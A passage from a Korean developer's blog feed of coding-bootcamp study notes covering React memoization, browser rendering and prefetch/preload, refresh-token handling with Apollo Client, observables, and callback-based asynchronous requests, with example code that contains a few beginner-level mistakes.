import MemoizationWithChildPage from &quot;./02-child&quot;;

export default function MemoizationPage(): JSX.Element {
  console.log(&quot;컴포넌트가 렌더링 되었습니다.&quot;);

  let countLet = 0;
  const [countState, setCountState] = useState(0);

  // 1. useMemo로 변수 기억
  const aaa = useMemo(() =&gt; Math.random(), []);
  console.log(aaa);

  // 2. useCallback으로 함수 기억
  const onClickCountLet = useCallback((): void =&gt; {
    console.log(countLet + 1);
    countLet += 1; 
  }, []);

  // 3. useCallback으로 함수 기억 =&gt; state 사용 주의
  const onClickCountState = useCallback((): void =&gt; {
    // console.log(countState + 1);
    setCountState((prev) =&gt; prev + 1);
  }, []);

  return (
    &lt;&gt;
      &lt;div&gt;=========================&lt;/div&gt;
      &lt;h1&gt;저는 부모 컴포넌트 입니다!!!&lt;/h1&gt;
      &lt;div&gt;카운트(let): {countLet}&lt;/div&gt;
      &lt;button onClick={onClickCountLet}&gt;카운트(let) +1 올리기&lt;/button&gt;
      &lt;div&gt;카운트(state): {countState}&lt;/div&gt;
      &lt;button onClick={onClickCountState}&gt;카운트(state) +1 올리기&lt;/button&gt;
      &lt;div&gt;=========================&lt;/div&gt;

      {/* memo에서는 props가 의존성배열 역할을 함 */}
      &lt;MemoizationWithChildPage qqq={countState} /&gt;
    &lt;/&gt;
  );
}</code></pre>
<p><code>useCallback</code>으로 함수를 감싸면 해당 함수를 다시 불러오지 않고, 이전에 불러왔던 함수를 실행시키게 된다. state가 있는 함수도 useCallback으로 감쌌더니 카운트 버튼을 클릭해도 카운트가 <strong>고정</strong>된다. </p>
<p>여기서 함수는 다시 불러오지 않지만 값은 올려주고 싶을 때, <code>prev</code>를 사용하면 된다!</p>
<br/>

<blockquote>
<p><strong>참고! useCallback을 쓰지 말아야 할 때</strong>
의존성 배열의 인자가 1~2개보다 많아질 때는 차라리 리렌더를 하는것이 유지 보수에는 더 좋은 방법이다. 성능이 조금이나마 좋아지는 것보다는 유지보수가 편리한 편이 훨씬 좋다. 따라서 의존성 배열의 인자가 2개를 초과할때는 그냥 리렌더를 해주는게 좋다!</p>
</blockquote>
<br/>

<h3 id="span-stylecolor-orangememospan"><span style="color: orange">memo</span></h3>
<p>memo는 다음과 같이 사용할 수 있다.</p>
<pre><code class="language-javascript">import {memo} from &quot;react&quot;    // memo는 react에서 import

const MemoizationPresenterPage = ()=&gt;{
    console.log(&quot;프리젠터가 렌더링 됩니다.&quot;)

    return(
        &lt;div&gt;  
            &lt;div&gt;================&lt;div&gt;
            &lt;h1&gt;이것은 프리젠터 입니다.&lt;/h1&gt;
            &lt;div&gt;================&lt;div&gt;
        &lt;/div&gt;
    )
}

export default memo(MemoizationPresenterPage)</code></pre>
<p>이제 state 카운트를 클릭하면 프리젠터는 렌더링이 되지 않아서 콘솔에 찍히지 않는다.</p>
<br/>

<h3 id="map의-key와-memoization">map의 key와 memoization</h3>
<p>map과 memo를 사용하면 어떨까? 아래는 차례대로 부모파일과 자식파일이 있다. Word라는 자식파일에 memo를 했다. </p>
<pre><code class="language-javascript">// 부모파일
import { useState } from &quot;react&quot;
import Word from &quot;./02-child&quot;

export default function MemoizationParentPage(){
    const [data,setData] = useState(&quot;철수는 오늘 점심을 맛있게 먹었습니다.&quot;)

    const onClickChange = ()=&gt;{
        setData(&quot;영희는 오늘 저녁을 맛없게 먹었습니다.&quot;)
    }

    return(
        &lt;&gt;
            {data.split(&quot;&quot;).map((el)=&gt;(
                &lt;Word key={index} el={el}/&gt;
            ))}
            &lt;button&gt;체인지&lt;/button&gt;
        &lt;/&gt;
    )
}</code></pre>
<pre><code class="language-javascript">// 자식파일
import { memo } from &quot;react&quot;

export default function Word(props: any){
    console.log(&quot;자식이 렌더링 됩니다!&quot;,props.el)
    return &lt;span&gt;{props.el}&lt;/span&gt;
}

export default memo(Word)</code></pre>
<p>부모파일로 접속해서 <strong>체인지</strong> 버튼을 누르면, data 값과 setData 값에서 다른 값만 콘솔에 찍히는 것을 알 수 있다. <code>&quot;영희는&quot;</code>, <code>&quot;저녁을&quot;</code>, <code>&quot;맛없게&quot;</code>만 찍힌다. </p>
<br/>

<p>만약, key값을 <code>uuid</code>로 설정한다면 어떻게 될까? </p>
<pre><code class="language-javascript">import { useState } from &quot;react&quot;
import Word from &quot;./02-child&quot;
import {v4 as uuidv4} from &quot;uuid&quot;

export default function MemoizationParentPage(){
    const [data,setData] = useState(&quot;철수는 오늘 점심을 맛있게 먹었습니다.&quot;)

    const onClickChange = ()=&gt;{
        setData(&quot;영희는 오늘 저녁을 맛없게 먹었습니다.&quot;)
    }
    return(
        &lt;&gt;
            {data.split(&quot;&quot;).map((el)=&gt;(
                &lt;Word key={uuidv4} el={el}/&gt;
            ))}
            &lt;button&gt;체인지&lt;/button&gt;
        &lt;/&gt;
    )
}</code></pre>
<p><code>uuid</code>를 사용하면 memo를 해도, <strong>key</strong> 자체가 매번 변경되어 <strong>props</strong>로 넘어가기 때문에 setData 문장의 모든 단어가 리렌더링된다. 따라서 uuid는 불필요한 리렌더링을 초래하므로 필요한 상황에서만 주의해서 사용해야 한다.</p>
<br/>

<h2 id="crpcritical-rendering-path">CRP(Critical Rendering Path)</h2>
<br/>

<p><span style="color:red"><strong>브라우저에서 렌더링은 어떤 순서로 일어날까?</strong></span></p>
<p><img src="https://velog.velcdn.com/images/code_june/post/9af12796-4e85-41b5-b0a8-dd82aa6bd18c/image.png" alt=""></p>
<p>먼저 화면을 그려주는데 필요한 리소스(<strong>html, css, js</strong>)를 다운로드 한다. 그리고 HTML과 CSS에서 화면에 렌더해야 할 요소들을 구분한 후 렌더되어야 할 HTML,CSS 요소를 합쳐 화면에 그려주게 된다. </p>
<p>이어서 화면에 그려줄때 해당 요소들이 어느 위치에 놓일지 먼저 그려주는 <code>Layout Reflow</code>와 해당 요소들을 색칠하는 <code>Paint Repaint</code>과정이 발생한다.</p>
<blockquote>
<p><strong>참고! 렌더트리</strong>
렌더트리는 최종적으로 브라우저에 표기될 요소들이다. 
렌더링 시 화면에 렌더해야 하는 요소를 구분하는 작업을 한다고 했는데, 이 때 HTML의 요소를 구분할 수 있도록 도와주는 것이 DOM(Document Object Model), CSS요소를 구분할 수 있도록 도와주는 것이 CSSOM(CSS Object Model)이다.
이렇게 DOM과 CSSOM이 합쳐진것이 바로 렌더트리다.
즉 2번과정과 3번과정이 합쳐진 4번과정의 결과물이 렌더트리라고 보면 된다.</p>
</blockquote>
<br/>

<h3 id="reflow와-repaint">Reflow와 Repaint</h3>
<p><strong>reflow</strong>란 렌더링되어야 할 요소들의 화면 상 위치를 그려주는 과정이고, <strong>repaint</strong>는 위치를 잡고 난 이후 색칠을 해주는 과정이다. Reflow가 Repaint보다 더 오래 걸린다!</p>
<br/>

<h3 id="layout-shift">Layout Shift</h3>
<p><strong>게시글 목록 조회 페이지</strong>에 접속했을 때, 게시글 목록이 있고, 페이지를 이동하는 번호가 목록 아래에 위치한다고 하자. </p>
<p>처음 페이지를 접속했을 때 목록을 조회해오면서 데이터가 비어있다가 나중에 데이터가 들어온다. 데이터가 비어있을 때에는 페이지를 이동하는 번호가 상단에 있다가, 데이터가 그 위를 비집고 들어오면서 페이지 이동 번호가 아래쪽으로 이동하고 최종 화면이 그려진다. </p>
<p>이 부분이 UI상으로 예쁘지 않다. 따라서 게시글 목록의 <strong>높이를 고정</strong>시켜주고 데이터를 받아오도록 해보자.</p>
<pre><code class="language-javascript">// import 생략
const FETCH_BOARDS = gql`
  query fetchBoards($page: Int) {
    fetchBoards(page: $page) {
      _id
      writer
      title
      contents
    }
  }
`;

export default function StaticRoutedPage() {
  const { data, refetch } = useQuery&lt;
    Pick&lt;IQuery, &quot;fetchBoards&quot;&gt;,
    IQueryFetchBoardsArgs
  &gt;(FETCH_BOARDS);

  console.log(data?.fetchBoards);

  const onClickPage = (event: MouseEvent&lt;HTMLSpanElement&gt;) =&gt; {
    void refetch({ page: Number(event.currentTarget.id) });
  };

  return (
    &lt;&gt;
      {/* 임시 배열 10개를 생성하여, 데이터가 없을 때도 높이 30px을 유지하여 reflow 방지  */}
      {(data?.fetchBoards ?? new Array(10).fill(1)).map((el) =&gt; (
        &lt;div key={el._id} style={{ height: &quot;30px&quot; }}&gt;
          &lt;span style={{ margin: &quot;10px&quot; }}&gt;{el.writer}&lt;/span&gt;
          &lt;span style={{ margin: &quot;10px&quot; }}&gt;{el.title}&lt;/span&gt;
        &lt;/div&gt;
      ))}
      {new Array(10).fill(1).map((_, index) =&gt; (
        &lt;span key={index + 1} id={String(index + 1)} onClick={onClickPage}&gt;
          {index + 1}
        &lt;/span&gt;
      ))}
    &lt;/&gt;
  );
}</code></pre>
<br/>


<h3 id="prefetch--preload">prefetch &amp; preload</h3>
<br/>

<h4 id="prefetch">prefetch</h4>
<p><code>prefetch</code>란 다음 페이지에서 쓰려고 미리 받는 것이며, 현재 페이지를 모두 받아온 이후 제일 나중에 다운로드 해오게 된다. prefetch를 이용하면 페이지가 이동해도 기다리지 않고 바로 보여주는 것이 가능하다.</p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
  &lt;head&gt;
    &lt;title&gt;프리페치&lt;/title&gt;

    &lt;!-- 프리페치: 다음페이지를 미리 다운로드 받으므로, 버튼 클릭시 페이지이동 빠름 --&gt;
    &lt;link rel=&quot;prefetch&quot; href=&quot;board.html&quot; /&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;a href=&quot;board.html&quot;&gt;게시판으로 이동하기&lt;/a&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<br/>

<h4 id="preload">preload</h4>
<p><code>preload</code>는 현재 페이지에서 쓸 이미지들을 모두 다운로드 받아놓는 것이다. </p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
  &lt;head&gt;
    &lt;title&gt;프리로드&lt;/title&gt;

    &lt;!-- 프리로드: 한 번에 6개씩 받아오므로, body태그의 이미지는 가장 마지막에 다운로드 --&gt;
    &lt;!-- 눈에 보이는 이미지를 먼저 다운로드 받아서 보여주고, 클릭하면 실행되는 JS는 나중에 받아오기. 따라서, DOMContentedLoaded 이후, Load까지 완료되는 최종 로드 시간이 더 짧아짐 --&gt;
    &lt;link rel=&quot;preload&quot; as=&quot;image&quot; href=&quot;./dog.jpeg&quot; /&gt;

    &lt;!-- 일반로드 --&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;./index.css&quot; /&gt;
    &lt;script src=&quot;index1.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;index2.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;index3.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;index4.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;index5.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;index6.js&quot;&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;img src=&quot;./dog.jpeg&quot; /&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>위와 같이 적어주면, <strong>이미지</strong>를 index.html를 받아올때 css와 js보다 먼저 받아오게 된다.</p>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 31일차: RefreshToken, observable & flatMap]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-31%EC%9D%BC%EC%B0%A8-RefreshToken-observable-flatmap</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-31%EC%9D%BC%EC%B0%A8-RefreshToken-observable-flatmap</guid>
            <pubDate>Mon, 01 May 2023 12:48:42 GMT</pubDate>
            <description><![CDATA[<h2 id="refreshtoken">RefreshToken</h2>
<br/>

<p><img src="https://velog.velcdn.com/images/code_june/post/29356d88-bc5f-4a46-9a70-cb03f587bc6b/image.png" alt=""></p>
<br/>

<p>AccessToken은 <strong>만료기한</strong>이 정해져 있어서 만료되고 나면 새로운 AccessToken을 받아와야 한다. 이때 사용되는 토큰이 <code>RefreshToken</code>이다.</p>
<p>유저가 로그인을 하면 백엔드로부터 AccessToken과 RefreshToken을 받아오게 된다. <code>AccessToken</code>은 1-2시간 정도의 짧은 만료 기한을 갖고 있고, <code>RefreshToken</code>은 2주~1개월 정도의 긴 만료 기한을 갖고 있다.</p>
<p>따라서 발급된 AccessToken의 유효 기간이 지나 <strong>만료</strong> 되는 시점에서 <code>RefreshToken</code>을 통해서 <strong>로그인 없이</strong> 새로운 AccessToken을 받아올 수 있게 된다. </p>
<p>다만, <code>RefreshToken</code> 역시 만료 기간이 있기 때문에 RefreshToken의 만료 기간이 지나게 된다면 이때는 다시 로그인을 진행해 새로운 RefreshToken을 가져오는 과정이 필요하다.</p>
<br/>

<p><strong>변수</strong>에는 accesstoken을 넣고, <strong>쿠키</strong>에 refreshtoken을 넣어서 accesstoken을 통해 권한 분기 등을 해줄 수 있다. </p>
<p>쿠키는 <strong>secure / httpOnly</strong>와 같은 옵션이 있어서 보안이 더 잘 되어 있다. 백엔드에서 옵션을 건 채로 브라우저로 보내면, 브라우저에서는 recoil에 토큰을 담거나 할 수 없다.</p>
<blockquote>
<p><strong>httpOnly</strong>: 브라우저에서 Javascript를 이용해 쿠키에 접근할 수 없고, 통신으로만 해당 데이터를 주고받을 수 있다.
<strong>secure</strong>: https 통신 시에만 해당 쿠키를 받아올 수 있다.</p>
</blockquote>
<br/>

<p>fetchUser api 요청을 해서 (unauthenticated error)토큰만료 에러가 발생한다면, restoreAccessToken api를 통해 토큰을 재발급 받고, 토큰(accesstoken) <strong>재발급</strong> 후에 실패한 쿼리에 accesstoken만 바꿔서 api 요청을 재시도하면, 인가에 성공하게 된다.</p>
<p>위 과정을 <code>silent authentication</code> 이라고 한다. 유저는 토큰이 재발급되는 것을 알지 못하고, 뒷단에서 조용히 이 과정이 빠르게 진행되는 것이다.</p>
<br/>

<h3 id="refreshtoken을-이용해-accesstoken을-새로-발급받는-과정">RefreshToken을 이용해 AccessToken을 새로 발급받는 과정</h3>
<blockquote>
<ol>
<li>AccessToken 만료 후 <strong>인가 요청</strong></li>
<li>해당 오류를 포착해서 인가 에러인지 체크</li>
<li>RefreshToken으로 AccessToken <strong>재발급</strong> 요청</li>
<li>발급 받은 AccessToken을 state에 재저장</li>
<li>방금 실패했던(error) API를 재요청</li>
</ol>
</blockquote>
<br/>

<h4 id="참고">참고!</h4>
<p>요즘 백엔드에서는 로그인 관련 API들은 AuthService로, 로그인을 제외한 API들은 ResourceService로 나누는 추세다. ResourceService도 UserService, BoardService 등으로 자잘하게 쪼개기도 한다(<code>MicroServiceArchitecture</code>). </p>
<p>또한, <strong>소셜 로그인</strong>(구글 로그인, 카카오 로그인 등)을 할 때에는 Open Authentication(<code>OAuth</code>) 를 사용한다.</p>
<br/>

<h3 id="refreshtoken-실습">RefreshToken 실습</h3>
<blockquote>
<p><strong>여러가지 쿼리 방식</strong></p>
</blockquote>
<ol>
<li><strong>useQuery</strong>: 페이지 접속하면 자동으로 data에 받아지고(data는 글로벌스테이트 저장) 리렌더링됨</li>
<li><strong>useLazyQuery</strong>: 버튼 클릭시 data에 받아지고(data는 글로벌스테이트 저장) 리렌더링됨</li>
<li><strong>useApolloClient</strong>: <code>axios</code>처럼 사용하는 방법(data는 글로벌스테이트 저장). 원하는 시점에 실행 후 원하는 변수에 담는 방식.</li>
</ol>
<br/>

<ol>
<li><code>useApolloClient</code>를 사용해서 버튼을 눌렀을 때 <strong>fetchUserLoggedIn</strong>을 받아왔다.</li>
</ol>
<pre><code class="language-javascript">const FETCH_USER_LOGGED_IN = gql`
  query fetchUserLoggedIn {
    fetchUserLoggedIn {
      email
      name
    }
  }
`;

export default function LoginSuccessPage() {
  const client = useApolloClient();

  const onClickButton = async () =&gt; {
    const result = await client.query({
      query: FETCH_USER_LOGGED_IN,
    });
    console.log(result);
  };

  return (
    &lt;button onClick={onClickButton}&gt;클릭하세요&lt;/button&gt;
  );
}</code></pre>
<br/>

<ol start="2">
<li><code>apollo setting</code> 파일 수정</li>
</ol>
<pre><code class="language-javascript">export default function ApolloSetting(props: IApolloSettingProps) {
  const [accessToken, setAccessToken] = useRecoilState(accessTokenState);
  const [userInfo, setUserInfo] = useRecoilState(userInfoState);
    if (!accessToken || !userInfo) return;
        setUserInfo(JSON.parse(userInfo));
      }, []);

    const errorLink = onError(({ graphQLErrors, operation, forward })=&gt;{
        // 1-1. 에러를 캐치

        // 1-2. 해당에러가 토큰만료 에러인지 체크(UNAUTHENTICATED)        

    // 2-1. refreshToken으로 accessToken을 재발급 받기

        // 2-2. 재발급 받은 accessToken 저장하기

        // 3-1. 재발급 받은 accessToken으로 방금 실패한 쿼리정보 수정하기

        // 3-2. 재발급 받은 accessToken으로 방금 수정한 쿼리 재요청하기

    })

      const uploadLink = createUploadLink({
        uri: &quot;http://backend08.codebootcamp.co.kr/graphql&quot;,
        headers: { Authorization: `Bearer ${accessToken}` },
          credentials: &quot;include&quot;,
      });

      const client = new ApolloClient({
        link: ApolloLink.from([uploadLink]),
        cache: APOLLO_CACHE,
        connectToDevTools: true,
      });


      return (
        &lt;ApolloProvider client={client}&gt;
            {props.children}
        &lt;/ApolloProvider&gt;
      )
    }</code></pre>
<br/>

<blockquote>
<p><strong>graphQLErrors</strong> : 에러들을 캐치해줌
<strong>operation</strong> : 방금전에 실패했던 쿼리가 뭐였는지 알아둠
<strong>forward</strong> : 실패했던 쿼리들을 재전송</p>
</blockquote>
<br/>

<ol start="3">
<li><code>errorLink</code> 생성 및 구조 기반 설정</li>
</ol>
<pre><code class="language-javascript">// apollo setting 파일의 errorLink부분

import { onError } from &quot;@apollo/client/link/error&quot;;

const errorLink = onError(({ graphQLErrors, operation, forward }) =&gt; {
    // 1. 에러를 캐치
    if (graphQLErrors) {
      for (const err of graphQLErrors) {
        // 2. 해당 에러가 토큰 만료 에러인지 체크(UNAUTHENTICATED)
        if (err.extensions.code === &quot;UNAUTHENTICATED&quot;) {
          // 3. refreshToken으로 accessToken을 재발급 받기
        }
      }
    }
  });</code></pre>
<p>여기서 문제가 생긴다. refreshToken을 사용하기 위해서는 <strong>graphQL</strong> 요청을 보내야 하는데, errorLink를 생성하는 코드는 <strong>ApolloProvider</strong> 바깥에 있기 때문에 useQuery나 useApolloClient등을 이용해 graphQL 요청을 보낼 수 없다.</p>
<p>문제를 해결하기 위해서 graphql-request라는 라이브러리를 사용해 볼 것이다.</p>
<blockquote>
<p><strong>graphql-request 설치: yarn add graphql-request</strong></p>
</blockquote>
<br/>

<p>graphql-request 공식 문서를 참고해 다음과 같이 <strong>error</strong>를 캐치한 뒤 accessToken을 <strong>재발급</strong> 받는 코드를 적어준다.</p>
<pre><code class="language-javascript">import { GraphQLClient } from &quot;graphql-request&quot;;

export default function ApolloSetting(props: IApolloSettingProps) {
  const [accessToken, setAccessToken] = useRecoilState(accessTokenState);
  const [userInfo, setUserInfo] = useRecoilState(userInfoState);
    const RESTORE_ACCESS_TOKEN = gql`
      mutation restoreAccessToken {
        restoreAccessToken {
          accessToken
        }
      }
    `;

    if (!accessToken || !userInfo) return;
        setUserInfo(JSON.parse(userInfo));
      }, []);

// 리프레시 토큰 만료 에러 캐치 &amp; 발급
        const errorLink = onError(({ graphQLErrors, operation, forward })=&gt;{
        // 1-1. 에러를 캐치
        if(graphQLErrors){
            for(const err of graphQLErrors){
                // 1-2. 해당 에러가 토큰만료 에러인지 체크(UNAUTHENTICATED)
                 if (err.extensions.code === &quot;UNAUTHENTICATED&quot;) {

         // 2-1. refreshToken으로 accessToken을 재발급 받기
                    const graphqlClient = new GraphQLClient(
          &quot;https://backend-practice.codebootcamp.co.kr/graphql&quot;,
          { credentials: &quot;include&quot; }
            );
                    const result = await graphqlClient.request(RESTORE_ACCESS_TOKEN);
              // RESTORE_ACCESS_TOKEM이라는 gql을 요청한 뒤 반환되는 결과값을 result에 담는다.
            const newAccessToken = result.restoreAccessToken.accessToken;
            // 2-2. 재발급 받은 accessToken 저장하기
            setAccessToken(newAccessToken);

                    //3-1. 재발급 받은 accessToken으로 방금 실패한 쿼리정보 수정하기
                    if(typeof newAcessToken !== &quot;string&quot;) return
                    operation.setContext({
                    headers: {
                      ...operation.getContext().headers,
                      Authorization: `Bearer ${newAccessToken}`, // accessToken만 새걸로 바꿔치기
                    },
                  });
                    //3-2. 재발급 받은 accessToken으로 방금 수정한 쿼리 재요청하기
                    forward(operation)
        }
            }
        }
    })

     const uploadLink = createUploadLink({
        uri: &quot;http://backend08.codebootcamp.co.kr/graphql&quot;,
        headers: { Authorization: `Bearer ${accessToken}` },
          credentials: &quot;include&quot;,
      });

      const client = new ApolloClient({
        link: ApolloLink.from([uploadLink]),
        cache: APOLLO_CACHE,
        connectToDevTools: true,
      });

      return (
        &lt;ApolloProvider client={client}&gt;
            {props.children}
        &lt;/ApolloProvider&gt;
      )
    }</code></pre>
<br/>

<ol start="4">
<li><strong>getAccessToken</strong>파일 분리: <code>graphql-request</code>를 이용하여 accessToken을 재발급 받는 코드를 별도 함수로 분리하여 입력해 준다.</li>
</ol>
<pre><code class="language-javascript">import { gql } from &quot;@apollo/client&quot;;
import { GraphQLClient } from &quot;graphql-request&quot;;

const RESTORE_ACCESS_TOKEN = gql`
  mutation restoreAccessToken {
    restoreAccessToken {
      accessToken
    }
  }
`;

export async function getAccessToken() {
  try {
    const graphqlClient = new GraphQLClient(
      &quot;https://backend-practice.codebootcamp.co.kr/graphql&quot;,
      {
        credentials: &quot;include&quot;,
      }
    );
    const result = await graphqlClient.request(RESTORE_ACCESS_TOKEN);
    const newAccessToken = result.restoreAccessToken.accessToken;

    return newAccessToken;
  } catch (error) {
    console.log(error.message);
  }
}</code></pre>
<br/>

<p>코드를 분리한 후에 <strong>errorLink</strong> 내부 로직을 수정해준다. 함수의 return 값이 <strong>promise</strong> 이므로 <code>.then()</code>을 이용해서 이후의 코드를 작성한다.</p>
<pre><code class="language-javascript">// 2-1. refreshToken으로 accessToken을 재발급 받기
              return fromPromise(
                getAccessToken().then((newAccessToken) =&gt; {</code></pre>
<br/>

<h3 id="새로고침-시-토큰-유지하기">새로고침 시 토큰 유지하기</h3>
<pre><code class="language-javascript">// 토큰을 넣어두는 global state - recoilState
const [accessToken, setAccessToken] = useRecoilState(accessTokenState);

  useEffect(() =&gt; {
    // 1. 기존방식(refreshToken 이전)
    // console.log(&quot;지금은 브라우저다!!!!!&quot;);
    // const result = localStorage.getItem(&quot;accessToken&quot;);
    // console.log(result);
    // if (result) setAccessToken(result);

    // 2. 새로운방식(refreshToken 이후) - 새로고침 이후에도 토큰 유지할 수 있도록
    void getAccessToken().then((newAccessToken) =&gt; {
      setAccessToken(newAccessToken);
    });
  }, []);</code></pre>
<p><br/><br/></p>
<h2 id="observable--flatmap">observable &amp; flatMap</h2>
<br/>

<h3 id="span-stylecolor-orangeobservablespan"><span style="color: orange">observable</span></h3>
<p><code>연속적인 비동기 작업</code>(연속적인 페이지 클릭, 연속적인 검색어 변경 등)을 위해 <strong>observable</strong> 사용한다.</p>
<p>예를 들어, 3번 페이지를 요청했다가 빠르게 5번 페이지를 요청했을 경우 3번 페이지 요청을 취소 후 5번 페이지를 보내줘야 하는데, 백엔드에서는 3번 페이지를 보여주게 된다.</p>
<p>이런 경우에는 3번 페이지 요청을 <strong>취소</strong>해야 한다. 그렇지 않으면 사용자의 불편한 경험을 초래할 수 있기 때문이다.</p>
<p>하지만, 이런경우는 <strong>promise</strong>로 처리하는게 쉽지 않다. 이럴 때 <code>observable</code>을 사용하면 좋다!</p>
<br/>

<h3 id="apollo-client의-flatmap">apollo-client의 flatmap</h3>
<p>자바스크립트 매소드와는 다른 flatMap이다. 여기서 사용하는 flatMap은 <strong>apollo-client</strong>에서 지원하는 <code>flatMap</code>이다!</p>
<p>실습은 <code>apollo-client</code>에서 지원하는 observable을 사용했다. </p>
<blockquote>
<p><strong>설치목록</strong>
<code>yarn add zen-observable</code>
<code>yarn add @types/zen-observable --dev</code>
<code>yarn add graphql-request</code></p>
</blockquote>
<br/>

<p>실습 내용은 다음과 같다.</p>
<pre><code class="language-javascript">import {from} from &#39;zen-observable&#39;

export default function ObservableFlatmapPage(): JSX.Element{

    const onClickButton = (): void =&gt; {
        // new Promise((resolve, reject) =&gt; {})
        // new Observable((observer) =&gt; {})

        // from을 hover하면 observable이 나옴
        from([&quot;1번 useQuery&quot;, &quot;2번 useQuery&quot;, &quot;3번 useQuery&quot;]) // fromPromise
            .flatMap((el: string)=&gt; from([`${el} 결과에 qqq 적용`,`${el} 결과에 zzz 적용`]))
            .subscribe((el)=&gt;(console.log(el)))
    } // subscribe -&gt; 비동기적인 시점에 값이 변경될 때마다 지속적으로 호출 가능

    return &lt;button onClick={onClickButton}&gt; 클릭&lt;/button&gt;
}</code></pre>
<br/>

<blockquote>
<p><strong>fromPromise?</strong>
promise를 observable타입으로 바꿔주는 도구.
onError 함수는 return 타입으로 observable을 받고 있지만, 우리가 return 해주는 값은 promise이기 때문에 fromPromise를 사용해서 observable 타입으로 바꿔줘야 함.</p>
</blockquote>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 30일차: Callback 함수, callback-promise-async/await, 매크로 태스크 큐 & 마이크로 태스크 큐, await와 마이크로 큐의 관계]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-30%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-30%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Mon, 01 May 2023 10:15:59 GMT</pubDate>
            <description><![CDATA[<h2 id="callback-함수">Callback 함수</h2>
<br/>

<h3 id="callback-함수란">Callback 함수란</h3>
<pre><code class="language-javascript">function aaa(qqq){
    // 함수 로직
}

aaa(function(){})</code></pre>
<p>우리는 함수도 인자로 전달할 수 있다. 여기서 인자로 전달되는 함수를 callback 함수라고 한다. 위 코드에서 <code>function(){}</code>이 <span style="color: red"/><strong>callback 함수</strong></span>다.</p>
<br/>

<blockquote>
<pre><code class="language-javascript">[&quot;철수&quot;, &quot;영희&quot;, &quot;훈이&quot;]. map((el) =&gt; {})</code></pre>
</blockquote>
<pre><code>
map 괄호 안에도 화살표 함수 형태의 **callback 함수**가 존재한다! 

&lt;br/&gt;

### Callback 함수를 쓰는 이유

&lt;br/&gt;

그렇다면 왜 callback 함수를 사용하는 걸까?

**async/await** 나오기 전에는, api 요청이 끝나면 그 결과값을 가지고 다른 요청을 실행시키기 위해 `callback 함수`를 쓰곤 했다.

```javascript
function aaa(qqq){
    // 외부 API에 데이터 요청하는 로직
    // ...
    // ...
    // 요청 끝!
    const result = &quot;요청으로 받아온 데이터 결과값&quot;
    qqq(result) // 요청 끝나면 qqq 실행시키기
}

aaa(result) =&gt; {
    console.log(&quot;요청이 끝났습니다.&quot;)
    console.log(&quot;요청으로 받아온 데이터는&quot; + result + &quot;입니다&quot;)
}</code></pre><br/>

<p>우리는 이미 async/await를 익숙하게 쓰고 있지만, 다양한 자바스크립트 비동기 처리 방법을 알고 사용하는 것도 중요하다.</p>
<br/>

<h2 id="비동기-실습callback-promise-asyncawait">비동기 실습(callback-promise-async/await)</h2>
<br/>

<h3 id="span-stylecolororangecallbackspan"><span style="color:orange">Callback</span></h3>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
    &lt;head&gt;
        &lt;title&gt; 콜백과 친구들 &lt;/title&gt;
        &lt;script&gt;
            const myCallback = ()=&gt;{
                // 1.랜덤한 숫자를 가지고 오는 API
                // 2.posts/랜덤숫자
                // 3.랜덤숫자 번 게시글 작성한 유저가 쓴 다른 글
            }
            const myPromise = ()=&gt;{

            }
            const myAsyncAwait = ()=&gt;{

            }

        &lt;/script&gt;
    &lt;/head&gt;
    &lt;body&gt;
            &lt;button onclick={onClickCallback}&gt;Callback 요청하기&lt;/button&gt;
      &lt;button onclick={onClickPromise}&gt;Promise 요청하기&lt;/button&gt;
      &lt;button onclick={onClickAsyncAwait}&gt;AsyncAwait 요청하기&lt;/button&gt;
    &lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>위에 <code>myCallback</code> 함수 내부에서는 1번 로직을 완료한 후 받아온 데이터를 기반으로 2번 로직을 그리고, 2번 로직 완료 후 받아온 데이터를 기반으로 3번 로직을 실행한다.</p>
<br/>

<p>nyCallback 함수는 다음과 같이 적어줄 수 있다.</p>
<pre><code class="language-javascript">const myCallback = ()=&gt;{
// newXMLHTTPRequest는 자바스크립트에 내장되어있는 기능
    const aa = newXMLHTTPRequest()
    aa.open(&quot;get&quot;,`http://numbersapi.com/random?min=1&amp;max=200`)
    aa.send()
    aa.addEventListener(&quot;load&quot;,function(res){
        console.log(res)
    })
}</code></pre>
<p><code>XMLHttpRequest</code>는 서버와 상호 작용하기 위해 사용되는 객체다. 전체 페이지의 새로고침 없이도 URL로부터 데이터를 받아올 수 있다. <strong>Ajax</strong> 프로그래밍에 주로 사용되고, <strong>XHR</strong>이라고 줄여 부르기도 한다.</p>
<br/>

<p>첫 번째의 <code>response(res)</code>를 가공해서 두 번째 API 요청을 보내려면 다음과 같이 코드를 작성하면 된다.</p>
<pre><code class="language-javascript">const myCallback = () =&gt; {
  const aa = new XMLHttpRequest();
  aa.open(&quot;get&quot;, &quot;http://numbersapi.com/random?min=1&amp;max=200&quot;);
  aa.send();
  aa.addEventListener(&quot;load&quot;, (res: any) =&gt; {
    const num = res.target.response.split(&quot; &quot;)[0]; // 랜덤 수 추출

        // 두번째 api 요청
    const bb = new XMLHttpRequest();
    bb.open(&quot;get&quot;,            `https://koreanjson.com/posts/${num}`);
    // num에 추출한 랜덤 수가 들어감
    bb.send();
